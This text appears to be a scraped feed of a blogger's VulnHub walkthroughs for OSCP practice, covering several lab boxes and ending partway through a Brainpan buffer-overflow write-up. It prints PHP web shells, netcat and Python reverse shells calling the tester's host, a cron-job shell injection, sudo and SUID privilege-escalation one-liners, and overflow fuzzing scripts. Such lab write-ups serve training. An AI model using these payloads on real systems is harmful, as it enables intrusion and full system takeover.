Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:77:B6:D3 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 TRACEROUTE HOP RTT ADDRESS 1 0.47 ms 10.0.0.28 From my initial nmap scan result, I can see two ports open. Port 80 and Port 22. A full port scan came up with one more port open, port 8585. I am going to start my enumeration from port 80.\nGobuster scan came with some interesting results. There is a web directory /backend , which has a login page.\nMy initial scan showed there is a .git repository hosted on the website. I used gitdumper.sh from Git-Tools to extract all the git repositories to my device. Also from the scan, I can see the devguru.local, so for the next step, I added it to the hosts file.\nOnce extracted looking for creds I found a database.php file inside the config directory, There is a username and password.\noctober: SQ66EBYx4GT3byXH\nI tried using this username: password combination on the /backend login page, but it was unsuccessful. So I went back to the git folder. I saw adminer.php , looking at the contents I knew that it is a database system. Also, the webpage exists. It all makes sense now as the credentials were for a database.\nNow, here I used the credentials obtained above and was successful to log in.\nHere I found another credential.\nfrank : $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK\nI tried to crack the password hash but was unsuccessful. I created a new password hash and changed it in the database. ( looking at the hash type it is bcrypt hash).\nNow I used this credential to log in at /backend login page.\nNow looking around I found a legit question asked on the OctoberCMS forum, where the user asked how to run a PHP command on a page.\nI used the same step and was able to get the reverse shell.\n#### In code section ### function onStart() { $this-\u0026gt;page[\u0026#34;myVar\u0026#34;] = shell_exec($_GET[\u0026#39;cmd\u0026#39;]); } ### In MarkUp section ### {{ this.page.myVar }} I loaded this PHP code on /portfolio page.\nNow I can run commands from the browser.\nLet\u0026rsquo;s get a reverse shell now. I am going to upload the PHP payload for the reverse shell. Executing that malicious payload, gave me a reverse shell.\nLooking around I found the backup file in /var/backup. Going through the contents of the backup file app.ini.bak I was able to find credentials , similar to like october before.\nCredentials Found gitea: UfFPTF8C8jjxVF2m\nNow going back to /adminer.php page, I was able to log in using the above credentials.\nHere now I created a new user with a name cyberdai and also created a new password hash ( changed the password hash algorithm from pbkdf2 to bcrypt).\nFirst create a hash for the desired password.\nNow creating the new user (by cloning the user frank) and changing the hash and removing salt.\nNow I was able to log in to gitea which is hosted in port 8585.\nA quick searchsploit search for gitea reveals the remote code execution vulnerability.\nUsing the script I was able to get the reverse shell, as user frank.\nIt turns out user frank can run /usr/bin/sqlite3 as sudo without a password.\nSo user frank cannot run /usr/bin/sqlite3 as root. ( !root )\nWith ALL specified user frank can run the binary /usr/bin/sqlite3 as any user.\nAnd this version of sudo is vulnerable to security bypass, which can be exploited for privilege escalation.\nNow going to our old friend gtfobins, I get a single line code to elevate the privilege.\nsudo -u#-1 /usr/bin/sqlite3 /dev/null \u0026#39;.shell /bin/sh\u0026#39; Using the above code I got the root shell.\nWOW, this box was a lot of fun and got to learn a lot of things.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-devguru/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nGit repositoru extract Credential extract playing with cryptography Sudo vulnerablity exploited for privilege escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-20 00:17:48 EDT for 9s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.","title":"Devguru VulnHUB Walkthrough"},{"content":" This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nSMB Enumeration CMS exploit for RCE SUID binary exploit for Privilege Exploitation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-19 20:02:11 EDT for 23s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Photographer by v1n1v131r4 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8000/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-generator: Koken 0.22.24 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: daisa ahomi MAC Address: 08:00:27:D1:77:8A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 14.447 days (since Tue Apr 5 09:18:57 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: PHOTOGRAPHER TRACEROUTE HOP RTT ADDRESS 1 0.57 ms 10.0.0.26 My autorecon scan mentions a share in SMB that has anonymous read access.\nI downloaded the files and they consisted of potential credentials.\nNow I moved to web enumeration. Nmap script scan on port 8000 showed me a few potential interesting web directories. /admin\n/admin has a login page, which requires email and password.\nWe do have the email address from the file extracted form SMB. daisy@photographer.com . For the password, according to email, I will try a few combinations of my babygirl .\nI was successful to log in using daisa@photographer.com: babygirl combination.\nA Quick search for the koken in searchsploit result shows us the arbitary file upload vulnerability.\nReading at the POC text file. We need to upload the PHP file with .php.jpg extension and edit the request in burp to remove that .jpg extension.\nFollowing the steps from above and using the pentest monkey PHP reverse shell script I get the reverse shell.\nLooking around for any more credentials did not result in anything interesting and fruitful. As always, I ran the linpeas script. And I got a potential SUID binary exploitation.\nNow going to our old friend gtfobins, we can do privilege escalation exploiting the SUID permission on PHP.\nSo the following one-line code gives us a root shell.\n/usr/bin/php7.2 -r \u0026#34;pcntl_exec(\u0026#39;/bin/sh\u0026#39;, [\u0026#39;-p\u0026#39;]);\u0026#34; ","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-photography/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nSMB Enumeration CMS exploit for RCE SUID binary exploit for Privilege Exploitation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-19 20:02:11 EDT for 23s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.","title":"Photography VulnHUB Walkthrough"},{"content":" This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration of port 80 Webdirectory bruteforcing SQL Injection exploitation in vulnerable OpenEMR Exploiting the PATH variable on SUID binary for Privilege Escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nNmap scan report for 10.0.0.25 Host is up, received arp-response (0.00026s latency). Scanned at 2022-04-19 05:45:34 EDT for 10s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 ProFTPD 1.3.3d 80/tcp open http syn-ack ttl 64 Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011)) | http-robots.txt: 8 disallowed entries | /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/ |_/all_our_e-mail_addresses /admin/ / |_http-title: Coming Soon 2 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22 |_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011) MAC Address: 08:00:27:35:9F:E3 (Oracle VirtualBox virtual NIC) OS fingerprint not ideal because: Didn\u0026#39;t receive UDP response. Please try again with -sSU Aggressive OS guesses: Linux 2.6.38 (99%), Linux 2.6.32 - 3.5 (98%), Linux 2.6.38 - 3.0 (96%), Linux 2.6.37 (95%), Linux 2.6.9 - 2.6.30 (95%), Linux 2.6.32 - 3.10 (94%), Linux 2.6.18 - 2.6.32 (94%), OpenWrt (Linux 2.4.32) (93%), Linux 2.6.22 (Fedora Core 6) (93%), Linux 2.6.27 - 2.6.28 (92%) Uptime guess: 0.001 days (since Tue Apr 19 05:44:22 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=203 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.26 ms 10.0.0.25 From the initial scan, I can see that there are two ports open. One is port 80 and other port 21.\nAs always I started with port 80. Checked robots.txt, source-code of the webpage and almost everything. Nikto scan mentioned the shellshock vulnerability but no luck. No other initial vector to proceed.\nI tried to find web directories but had no luck. I always start with a medium list and in this machine web directories that are spotted from the medium list did not provide me with any juicy details. Next, I moved to the big list. I found an interesting directory. It\u0026rsquo;s always good to go for the bigger list if you are stuck.\nVisiting the /openemr gives me a login page with OpenEMR version.\nA quick searchsploit scan shows that this version is vulnerable to SQL injection.\nI used the 49742.py script for the Blind SQL injection. This python script does not take any arguments so, you have to edit the url in the script.\nSo, I got the following credentials from the python SQL Injection script.\nadmin:3863efef9ee2bfbc51ecdca359c6302bed1389e8\nmedical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d\nI used crackstation and was able to crack the password for admin.\nI tried using the credential for FTP login and it didn\u0026rsquo;t work. I tried cracking the password for medical user and succeeded.\nmedical:medical\nI was able to log in to FTP using the user medical credential. But I could not find any more information there.\nGoing back to the openEMR and looking around the system. I came to an interesting setting, where I can edit the file.\nI changed the PHP content with the pentest monkey PHP payload. And when I visited that PHP page from the browser, I got the reverse shell.\nI tried changing the user to medical using the above credential and was successful.\nAfter running the linpeas script I couldn\u0026rsquo;t find anything interesting. Looking further into directories, I found passwd and shadow file inside /var/backups . Cracking the shadow file using john the ripper, I got the password for the user almirant.\nNow further running the linpeas script, I can see that there are a few setuid binaries that are usually not on the list.\nThis being the health-themed box, I went straight ahead and ran the healthcheck binary.\nAfter looking at the contents of the binary using strings command. I can see the binary runs ifconfig and fdisk command. But the absolute PATH for the command is not mentioned. So we can exploit the PATH environment variable and gain privilege escalation.\n[almirant@localhost shm]$ cd /tmp [almirant@localhost tmp]$ export PATH=/tmp:$PATH [almirant@localhost tmp]$ echo \u0026#34;/bin/bash\u0026#34; \u0026gt; ifconfig [almirant@localhost tmp]$ chmod +x ifconfig Now running the binary should give us root access.\nI tried harder. lol!\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-healthcare/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration of port 80 Webdirectory bruteforcing SQL Injection exploitation in vulnerable OpenEMR Exploiting the PATH variable on SUID binary for Privilege Escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nNmap scan report for 10.0.0.25 Host is up, received arp-response (0.","title":"Healthcare VulnHub Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nPort 80 Enumeration Wordpress Enumeration and password bruteforce using wpscan Manipulating SQL query to gain initial Reverse Shell Exploiting the cron job for privilege escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below.\nScanned at 2022-04-19 01:15:55 EDT for 8s Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.25 (Debian) MAC Address: 08:00:27:D2:08:64 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 199.637 days (since Fri Oct 1 09:58:22 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE HOP RTT ADDRESS 1 0.48 ms 10.0.0.24 There is only one port open port 80. It turns out to be a default apache page.\nA quick gobuster scan finds more web directories.\nI am going to start with a /wordpress enumeration.\nWhen I clicked on one of the posts Hello World , it returned an error as the website pointed to the lemonsqeezy domain. I need to add lemonsquezzy to my /etc/hosts . Once I add the domain to hosts file. I started a initial wpscan to enumerate the users and plugin.\nI found the following information from the initial wpscan.\nWordpress version 4.8.9 Identified users : lemon and orange . I used wpscan to Bruteforce the login page using the username orange and got a HIT.\nAfter logging in I see there is a draft post that has a potential password in it.\nNow I tried using this password for user lemon but was not successful. I know that there is /phpmyadmin running as well. So I tried orange:n0t1n@w0rdl1st! in PHPMyAdmin and was successful to log in.\nThere is a password hash for user orange and I tried to crack it but was not successful. I changed the hash and logged in but the user was with same privilege as orange and there was nothing I could do to move forward.\nNow, I know that we can use the SQL query to get the reverse shell. First I am just going to create a PHP page which takes command in cmd .\nSELECT \u0026#34;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#34; into outfile \u0026#34;/var/www/html/wordpress/attack.php\u0026#34; Now once this is done I pass the reverse shell command to the cmd variable.\n10.0.0.24/wordpress/backdoor.php?cmd=nc -e /bin/bash 10.0.0.19 1234 I was able to get the reverse shell.\nI started the linpeas.sh script to find any potential vector for privilege escalation.\nI found an interesting cron job owned by root which runs every 2 mins. When I checked the input of the file it is as below.\nLooking at the file permission, it can be edited or written by anyone. So I will just change the content to get the reverse shell but with escalated access.\necho \u0026quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.0.0.19 1337 \u0026gt;/tmp/f\u0026quot; \u0026gt; logrotate\nNow I set the listener and wait for that cron job to run. And I got the root reverse shell.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-lemon-squeezy/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nPort 80 Enumeration Wordpress Enumeration and password bruteforce using wpscan Manipulating SQL query to gain initial Reverse Shell Exploiting the cron job for privilege escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below.\nScanned at 2022-04-19 01:15:55 EDT for 8s Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.","title":"Lemon Squeezy VulnHUb Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nWeb Enumeration Pop3 bruteforcing and enumeration Moodle spell check path exploit for reverse shell Kernel exploitation for Privilege Exploitation I started with the initial Nmap scan and the result is as below.\nScanned at 2022-04-18 21:41:48 EDT for 28s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack ttl 64 Postfix smtpd 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu)) |_http-title: GoldenEye Primary Admin Server | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) MAC Address: 08:00:27:33:18:3B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 198.840 days (since Sat Oct 2 01:31:58 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE HOP RTT ADDRESS 1 0.41 ms 10.0.0.22 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Apr 18 21:42:16 2022 -- 1 IP address (1 host up) scanned in 28.62 seconds I can see that port 80 is open.\nEnumerating further and checking the source code, I find the terminal.js file. Opening the file gave me a hint for user boris.\nIt looks like it is HTML encoded. Decoding the HTML gave a password InvincibleHack3r.\nNow, going to /sev-home as mentioned on the homepage. We can use boris:InvincibleHack3r to log in. When logged in we are greeted with the below.\nAs mentioned on the /sev-home page, there is a pop3 server running and you can email the supervisor to get the credential/training to get admin access.\nI tried the same username: password to get access but was unsuccessful. I tried brute-forcing the pop3 server and was able to crack the password for the user boris.\nThere are 3 emails in the inbox for user boris.\nFrom the emails I collected the following information:\nEmails are not scanned so we can use for inlude malicious code to compromise the system. Another username natalya who claim they can break user boris codes. user boris is involved with another organization to compromise the golden eye server. As the user boris emails are not of much use. Let\u0026rsquo;s see the mail of the user natalya . After bruteforcing I was able to find the password as bird.\nUpon checking email I can see that user natalya has 2 mails.\nI found the following information from the mails:\nUser natalya is GNO supervisor for training User creds xenia:RCP90rulez! New hostname servernaya-station.com New web directory gnocertdir I can see a moodle platform hosted in the web directory found above.\nI used the user: password to log in and was successful to log in. Upon logging in I can see a message from doak who is a Training Scientist.\nGoing back to pop3 server, I tried brute-forcing user doak and got a hit.\nUser doak only had one mail and it consist of user credential. I guess its for moodle platform.\nAfter logging in to moodle, I can see there is a private files section. There is a s3cret.txt file and it provides us with one more web directory with an image.\nDownloading that image and running exiftool on it revealed some base64 encoded code.\nDecoding that code gave me a credential most probably a password for the user admin.\nNow after logging in the moodle as admin. I started looking for various methods to gain a reverse shell. I found that we can change the path of a aspell plugin, which checks the spelling of the test and get a reverse shell. Once we change the path to the malicious code, when clicking to check the spelling it will trigger that code and we can gain a reverse shell.\nSettings \u0026gt; Site administration \u0026gt; Server \u0026gt; System Paths. Change the path of aspell to a reverse shell payload. I used a python reverse shell payload.\npython -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;10.0.0.19\u0026#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Now once you have changed the path. You can create a blog and click the spell checker which should give you a reverse shell.\nHowever, I couldn\u0026rsquo;t trigger the shell while checking the spelling. Looking around the internet, I found that the default spell checker for moodle is google spelling. I changed the default spell checker to the aspell which has the malicious reverse shell payload.\nSettings \u0026gt; Site administration \u0026gt; Text editors \u0026gt; TinyMCE HTMl editor I changed the spell engine to PSpellShell .\nNow I was able to gain reverse shell.\nNow I uploaded the linpeas.sh script for possible privilege escalation vectors.\nLook like the kernel is vulnerable to privilege escalation. A quick search for this kernel, I found that it is vulnerable to overlayfs.\nNow, this script requires gcc to compile and run. But our system does not have gcc to compile it as well as run it. So you have to open the script and change the gcc to cc\nWhen you use cc in the target system to compile this c file, it might give you some errors, but ignore those warnings and once compiled run the binary. You get root.\nAnd the flag details.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/golden-eye-vulnhub-walkthrough/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nWeb Enumeration Pop3 bruteforcing and enumeration Moodle spell check path exploit for reverse shell Kernel exploitation for Privilege Exploitation I started with the initial Nmap scan and the result is as below.\nScanned at 2022-04-18 21:41:48 EDT for 28s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack ttl 64 Postfix smtpd 80/tcp open http syn-ack ttl 64 Apache httpd 2.","title":"Golden-Eye VulnHUB Walkthrough"},{"content":" This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumerating port 80 Exploiting Tiki WIKI CMS Simple Sudo permission for Priv Exploit I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-07 05:17:31 EDT for 23s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 a3:d8:4a:89:a9:25:6d:07:c5:3d:76:28:06:ed:d1:c0 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0QOr55x/Sj6hKeR3ArLyVAPS5kzyAx8e3V2S9W44G2+SxkJ3lNn4WKgUwER8Rv3Dt1dmXfuQHXpRb7Fb9S4DoOh5kpY1PJLnvSyoe/w22YZthgar6Jf6q3XwoPFiaF9JBEJqsG0pFGFRccccasTgtCsT/2wE15L2To+WU6wPyZt2F6vOSC+yhVGOX9P0lnSbO6+1ZFIMKLDtAQU/o++PBap87c12voIkQjzC6Nyk0EVp36NKc6AIlRhAU/RIMic8ETT+f4AAiHOxoBdATL/gJcJXXyBdlWQcZe8kw26zG2kjFrcRQBM+Zj/z91H22dCQjJXmUIRIAhiVdZvL4UG4GPLigGGqAvs7ggnIw1FrQ92diFGz0ksrQfzGvXRwZqLngjdJJMuC+8lps5GZVOevYd5bQR44BLZlZXx69kagOydRMfSKw1RuZViBIDft7KZg2f9ZLlATAIYLx6+xDexE8zKvP/eyNZWELnTbQH2StPXP12tJnSNb9Jea3dXYB4Ds= | 256 e7:b2:89:05:54:57:dc:02:f4:8c:3a:7c:55:8b:51:aa (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCxghOMMgnGuE/gI+7mtcnam8ybjFNjkCsoFqkD/CRe2wWtddrl6EWKDAit3QQ9GbY8WJ4EGrJiJQogW5b7c7is= | 256 fd:77:07:2b:4a:16:3a:01:6b:e0:00:0c:0a:36:d8:2f (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaaZ/QfOgCnog0JIRtlGUoXO3Ph+bxbcGBMBXo8w4Bz 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS | http-robots.txt: 1 disallowed entry |_/tiki/ 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2 MAC Address: 08:00:27:37:18:05 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Uptime guess: 22.551 days (since Tue Mar 15 16:05:05 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.44 ms 10.0.0.21 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Apr 7 05:17:54 2022 -- 1 IP address (1 host up) scanned in 23.63 seconds There is port 80 open. It is just the default apache webpage.\nGobuster scan came up with a new directory /tiki . It turns out to be a tiki wiki cms server.\nI tried enumerating further but could not find a credible lead. From the nmap scan, there was a samba port open too. And the smbclient scan showed that we have read access to one of the shares name Notes.\nLogging into the share I downloaded the Mail.txt file. It consists of the username:password for CMS portal.\nNow I logged into the CMS portal. I have never used/seen this content management system before. So I was just playing around. I found Last Changes options on the menu. It sounded interesting. The List Changes were as below.\nI started playing around looking for clues. I clicked on one of the changes.\nSo I clicked on edit. It shows me one more option.\nWhen I checked the autosave drafts of the recent edits, I found this.\nThere is a CVE number for the vulnerability. Quick search on google, led me to this github page.\nSo there is an admin authentication bypass vulnerability in Tiki Wiki CMS. The POC video can be found on the same GitHub page above. I followed the steps and was able to gain admin access to the CMS server.\nSimilar to the user silky I straight went into the last changes section. I found a page with credentials.\nInside it, there was a login credential for silky. silky:Agy8Y7SPJNXQzqA\nAs there was port 22 open, I tried the credentials for ssh login and succeded.\nNow the first command I tried sudo -l had interesting results.\nAlthough it is a different language I can pretty much guess that silky user can use all sudo commands. But I translated it anyway.\nSimply running the bash command with sudo gave us root access.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-tiki/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumerating port 80 Exploiting Tiki WIKI CMS Simple Sudo permission for Priv Exploit I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-07 05:17:31 EDT for 23s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.","title":"Tiki VulnHUB Walkthrough"},{"content":" This box is from VulnHub and is in the TJ NuLL list of boxes for OSCP preparation. I am not going into deep details in this write-through, but there is a deep dive through of buffer-overflow here. This box involved the following steps.\nWeb Enumeration BufferOverflow Exploit for RCE less command sudo exploit for Privilege Escalation As always I am going to start with the autorecon scan. The initial Nmap scan result is as below.\nNmap scan report for 10.0.0.20 Host is up, received arp-response (0.00050s latency). Scanned at 2022-04-06 23:04:14 EDT for 40s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 9999/tcp open abyss? syn-ack ttl 64 | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [________________________ WELCOME TO BRAINPAN _________________________] |_ ENTER THE PASSWORD 10000/tcp open http syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3) |_http-title: Site doesn\u0026#39;t have a title (text/html). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.92%I=9%D=4/6%Time=624E54B4%P=x86_64-pc-linux-gnu%r(NUL Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Uptime guess: 198.048 days (since Mon Sep 20 21:56:06 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 10.0.0.20. # Nmap done at Wed Apr 6 23:04:54 2022 -- 1 IP address (1 host up) scanned in 41.09 seconds The initial result demonstrates that we have 2 ports open. I am starting with the enumeration of web port 10000. Gobuster scan shows an interesting directory, /bin . I can see a brain.exe file there. Let\u0026rsquo;s download the file. As it is an exe file I am going to open a windows VM to test it.\nAlso, lets enumerate the port 9999.\nNow in my windows VM, I run the exe file.\nThis setup looks like a buffer-overflow exploit. Let\u0026rsquo;s start by checking if the program is vulnerable to buffer-overflow. I send 3000 bytes of character \u0026ldquo;A\u0026rdquo; and the program crashed and the characters ended up in the EIP. So this program is definitely vulnerable to Buffer-Overflow.\npython3 -c \u0026#39;print(\u0026#34;A\u0026#34;* 3000)\u0026#39; Now I am going to fuzz the program to find the nearest bytes before the EIP. I am using the following python script.\n#!/usr/bin/env python3 import socket, sys from time import sleep ip=\u0026#39;10.0.0.18\u0026#39; port=9999 Command=\u0026#34;\u0026#34; string = Command + 100*\u0026#34;A\u0026#34; while True: #Runs continuously until crash try: with socket.socket() as s: s.connect((ip,port)) print(\u0026#34;sending {} bytes\u0026#34;.format(len(string))) s.send(bytes(string,\u0026#39;latin-1\u0026#39;)) reply = s.recv(4096) #see what the reply is string += 100*\u0026#34;A\u0026#34; sleep(0.8) except: print(\u0026#34;fuzzing crashed at {} bytes\u0026#34;.format(len(string))) sys.exit(0) The program crashes at 700 bytes. Now we need to find the exact offset, I am going to create a pattern using a Metasploit-module called pattern-create.rb.\n/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700 Now as the program crashed, I have copied the bytes in EIP and am using the Metasploit-module called pattern-offset.rb to find the offset for EIP.\n/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 700 -q 35724134 Now I found the exact match at 524. Let\u0026rsquo;s try to send another character after 524 bytes and see if it lands into EIP. I use the following script to check if \u0026quot;B\u0026quot; lands into EIP.\n#!/usr/bin/python3 import sys, socket offset = \u0026#34;A\u0026#34; * 524 + \u0026#34;B\u0026#34; * 4 ip = \u0026#39;10.0.0.18\u0026#39; port = 9999 try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) payload = offset s.send((payload.encode())) s.close() except: print (\u0026#34;Error connecting to the server\u0026#34;) sys.exit() Now I can see EIP has 42424242 value in it. So 42 is the hex value of \u0026ldquo;B\u0026rdquo;.\nNow in the immunity debugger, let\u0026rsquo;s set the default working folder for mona. We are going to need this for finding bad characters later. Type the following code into Immunity Debugger.\n!mona config -set workingfolder c:\\mona\\%p Now I am going to find the bad chars. \\x00 is always a bad chars so let\u0026rsquo;s create a list of badchars without \\x00 . Now I am going to create a byte-array of chars in mona so that we can compare it to the chars later and find the bad chars.\n!mona bytearray -b \u0026#34;\\x00\u0026#34; I am using this python script to create a list of chars.\n#!/usr/bin/env python3 from __future__ import print_function bad = \u0026#34;00\u0026#34;.split() print(\u0026#34;badchars = \u0026#34;) for x in range(1, 256): if \u0026#34;{:02x}\u0026#34;.format(x) not in bad: print(\u0026#34;\\\\x\u0026#34; + \u0026#34;{:02x}\u0026#34;.format(x), end=\u0026#39;\u0026#39;) print(\u0026#34;\\n\\nfor mona\u0026#34;) for byte in bad: print(\u0026#34;\\\\x{}\u0026#34;.format(byte), end=\u0026#39;\u0026#39;) print() Now I am going to send the list of all characters to the target program and compare it with the list of chars from mona.\nMona lists 